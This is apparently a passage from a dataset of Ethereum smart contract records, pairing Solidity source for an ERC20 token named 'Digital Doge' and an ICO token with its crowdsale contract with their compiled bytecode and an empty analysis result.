function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
require(_totalSupply <= 1e24, "_totalSupply exceed hard limit");
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract DigitalDoge is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("Digital Doge", "DIGID", 18) {
governance = msg.sender;
addMinter(governance);
// underlying _mint function has hard limit
mint(governance, 1e24);
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d71461055b578063a9059cbb146105c1578063ab033ea914610627578063dd62ed3e1461066b578063f46eccc4146106e357610116565b80635aa6e675146103f257806370a082311461043c57806395d89b4114610494578063983b2d561461051757610116565b80633092afd5116100e95780633092afd5146102a8578063313ce567146102ec578063395093511461031057806340c10f191461037657806342966c68146103c457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b61012361073f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808215151515815260200191505060405180910390f35b61020c6107ff565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b6102ea600480360360208110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e2565b005b6102f4610a00565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603604081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a17565b604051808215151515815260200191505060405180910390f35b6103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aca565b005b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610b97565b005b6103fa610ba4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bca565b6040518082815260200191505060405180910390f35b61049c610c12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dc5780820151818401526020810190506104c1565b50505050905090810190601f1680156105095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105596004803603602081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb4565b005b6105a76004803603604081101561057157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b604051808215151515815260200191505060405180910390f35b61060d600480360360408110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9f565b604051808215151515815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebd565b005b6106cd6004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104b565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107f56107ee61106b565b8484611073565b6001905092915050565b6000600254905090565b600061081684848461126a565b6108d78461082261106b565b6108d285604051806060016040528060288152602001611b3560289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088861106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560009054906101000a900460ff16905090565b6000610ac0610a2461106b565b84610abb8560016000610a3561106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b611073565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260078152602001807f216d696e7465720000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610b938282611668565b5050565b610ba133826118a5565b50565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610caa5780601f10610c7f57610100808354040283529160200191610caa565b820191906000526020600020905b815481529060010190602001808311610c8d57829003601f168201915b5050505050905090565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d77576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610e95610ddf61106b565b84610e9085604051806060016040528060258152602001611bc76025913960016000610e0961106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b6001905092915050565b6000610eb3610eac61106b565b848461126a565b6001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f80576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611ba36024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611aed6022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b7e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611376576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa86023913960400191505060405180910390fd5b6113e181604051806060016040528060268152602001611b0f602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611474816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611592578082015181840152602081019050611577565b50505050905090810190601f1680156115bf5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008082840190508381101561165e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611720816002546115e090919063ffffffff16565b60028190555069d3c21bcecceda100000060025411156117a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5f746f74616c537570706c79206578636565642068617264206c696d6974000081525060200191505060405180910390fd5b6117f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115e090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561192b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611b5d6021913960400191505060405180910390fd5b61199681604051806060016040528060228152602001611acb602291396000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ed81600254611a5d90919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611a9f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611520565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723158206fb9cb6b089577e2b5029a0cd5590fb09c144ea806e7297853ccb89927e5715364736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 3,523 |
0x64fe37b099a015034307a2f9dcbaadc317f89d02
|
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// ================= ERC20 Token Contract start =========================
/*
* ERC20 interface
* see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address to, uint value) public returns (bool status);
function transferFrom(address from, address to, uint value) public returns (bool status);
function approve(address spender, uint value) public returns (bool status);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract StandardToken is ERC20{
/*Define SafeMath library here for uint256*/
using SafeMath for uint256;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4) ;
_;
}
mapping(address => uint) accountBalances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) returns (bool success){
accountBalances[msg.sender] = accountBalances[msg.sender].sub(_value);
accountBalances[_to] = accountBalances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
accountBalances[_to] = accountBalances[_to].add(_value);
accountBalances[_from] = accountBalances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return accountBalances[_owner];
}
function approve(address _spender, uint _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract IcoToken is StandardToken, Pausable{
/*define SafeMath library for uint256*/
using SafeMath for uint256;
string public name;
string public symbol;
string public version;
uint public decimals;
address public icoSaleDeposit;
address public icoContract;
constructor(string _name, string _symbol, uint256 _decimals, string _version) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
version = _version;
}
function transfer(address _to, uint _value) public whenNotPaused returns (bool success) {
return super.transfer(_to,_value);
}
function approve(address _spender, uint _value) public whenNotPaused returns (bool success) {
return super.approve(_spender,_value);
}
function balanceOf(address _owner) public view returns (uint balance){
return super.balanceOf(_owner);
}
function setIcoContract(address _icoContract) public onlyOwner {
if(_icoContract != address(0)){
icoContract = _icoContract;
}
}
function sell(address _recipient, uint256 _value) public whenNotPaused returns (bool success){
assert(_value > 0);
require(msg.sender == icoContract);
accountBalances[_recipient] = accountBalances[_recipient].add(_value);
totalSupply = totalSupply.add(_value);
emit Transfer(0x0,owner,_value);
emit Transfer(owner,_recipient,_value);
return true;
}
}
contract IcoContract is Pausable{
/*define SafeMath library for uint256*/
using SafeMath for uint256;
IcoToken public ico ;
uint256 public tokenCreationCap;
uint256 public totalSupply;
uint256 public fundingStartTime;
uint256 public fundingEndTime;
uint256 public minContribution;
uint256 public tokenExchangeRate;
address public ethFundDeposit;
address public icoAddress;
bool public isFinalized;
event LogCreateICO(address from, address to, uint256 val);
function CreateIco(address to, uint256 val) internal returns (bool success) {
emit LogCreateICO(0x0,to,val);
return ico.sell(to,val);/*call to IcoToken sell() method*/
}
constructor(address _ethFundDeposit,
address _icoAddress,
uint256 _tokenCreationCap,
uint256 _tokenExchangeRate,
uint256 _fundingStartTime,
uint256 _fundingEndTime,
uint256 _minContribution) public {
ethFundDeposit = _ethFundDeposit;
icoAddress = _icoAddress;
tokenCreationCap = _tokenCreationCap;
tokenExchangeRate = _tokenExchangeRate;
fundingStartTime = _fundingStartTime;
minContribution = _minContribution;
fundingEndTime = _fundingEndTime;
ico = IcoToken(icoAddress);
isFinalized = false;
}
/*call fallback method*/
function () public payable{
createTokens(msg.sender,msg.value);
}
function createTokens(address _beneficiary,uint256 _value) internal whenNotPaused {
require(tokenCreationCap > totalSupply);
require(now >= fundingStartTime);
require(now <= fundingEndTime);
require(_value >= minContribution);
require(!isFinalized);
uint256 tokens = _value.mul(tokenExchangeRate);
uint256 checkSupply = totalSupply.add(tokens);
if(tokenCreationCap < checkSupply){
uint256 tokenToAllocate = tokenCreationCap.sub(totalSupply);
uint256 tokenToRefund = tokens.sub(tokenToAllocate);
uint256 etherToRefund = tokenToRefund / tokenExchangeRate;
totalSupply = tokenCreationCap;
require(CreateIco(_beneficiary,tokenToAllocate));
msg.sender.transfer(etherToRefund);
ethFundDeposit.transfer(address(this).balance);
return;
}
totalSupply = checkSupply;
require(CreateIco(_beneficiary,tokens));
ethFundDeposit.transfer(address(this).balance);
}
function finalize() external onlyOwner{
require(!isFinalized);
isFinalized = true;
ethFundDeposit.transfer(address(this).balance);
}
}
|
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd146100fd5780631df93558146101285780633f4ba83a146101535780634172d0801461016a5780634bb278f3146101955780635c975abb146101ac5780635d452201146101db5780636f7920fd14610232578063715018a61461025d57806374eedd4614610274578063788ce6f21461029f5780638456cb59146102f65780638d4e40831461030d5780638da5cb5b1461033c578063a81c3bdf14610393578063aaffadf3146103ea578063f2fde38b14610415575b6100fb3334610458565b005b34801561010957600080fd5b506101126106e2565b6040518082815260200191505060405180910390f35b34801561013457600080fd5b5061013d6106e8565b6040518082815260200191505060405180910390f35b34801561015f57600080fd5b506101686106ee565b005b34801561017657600080fd5b5061017f6107ac565b6040518082815260200191505060405180910390f35b3480156101a157600080fd5b506101aa6107b2565b005b3480156101b857600080fd5b506101c16108c6565b604051808215151515815260200191505060405180910390f35b3480156101e757600080fd5b506101f06108d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023e57600080fd5b506102476108ff565b6040518082815260200191505060405180910390f35b34801561026957600080fd5b50610272610905565b005b34801561028057600080fd5b50610289610a07565b6040518082815260200191505060405180910390f35b3480156102ab57600080fd5b506102b4610a0d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561030257600080fd5b5061030b610a33565b005b34801561031957600080fd5b50610322610af3565b604051808215151515815260200191505060405180910390f35b34801561034857600080fd5b50610351610b06565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561039f57600080fd5b506103a8610b2b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f657600080fd5b506103ff610b51565b6040518082815260200191505060405180910390f35b34801561042157600080fd5b50610456600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b57565b005b60008060008060008060149054906101000a900460ff1615151561047b57600080fd5b60035460025411151561048d57600080fd5b600454421015151561049e57600080fd5b60055442111515156104af57600080fd5b60065486101515156104c057600080fd5b600960149054906101000a900460ff161515156104dc57600080fd5b6104f160075487610cac90919063ffffffff16565b945061050885600354610ce490919063ffffffff16565b935083600254101561063c5761052b600354600254610d0090919063ffffffff16565b92506105408386610d0090919063ffffffff16565b91506007548281151561054f57fe5b0490506002546003819055506105658784610d19565b151561057057600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156105b6573d6000803e3d6000fd5b50600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610636573d6000803e3d6000fd5b506106d9565b8360038190555061064d8786610d19565b151561065857600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156106d7573d6000803e3d6000fd5b505b50505050505050565b60035481565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561074957600080fd5b600060149054906101000a900460ff16151561076457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561080d57600080fd5b600960149054906101000a900460ff1615151561082957600080fd5b6001600960146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156108c3573d6000803e3d6000fd5b50565b600060149054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561096057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8e57600080fd5b600060149054906101000a900460ff16151515610aaa57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600960149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60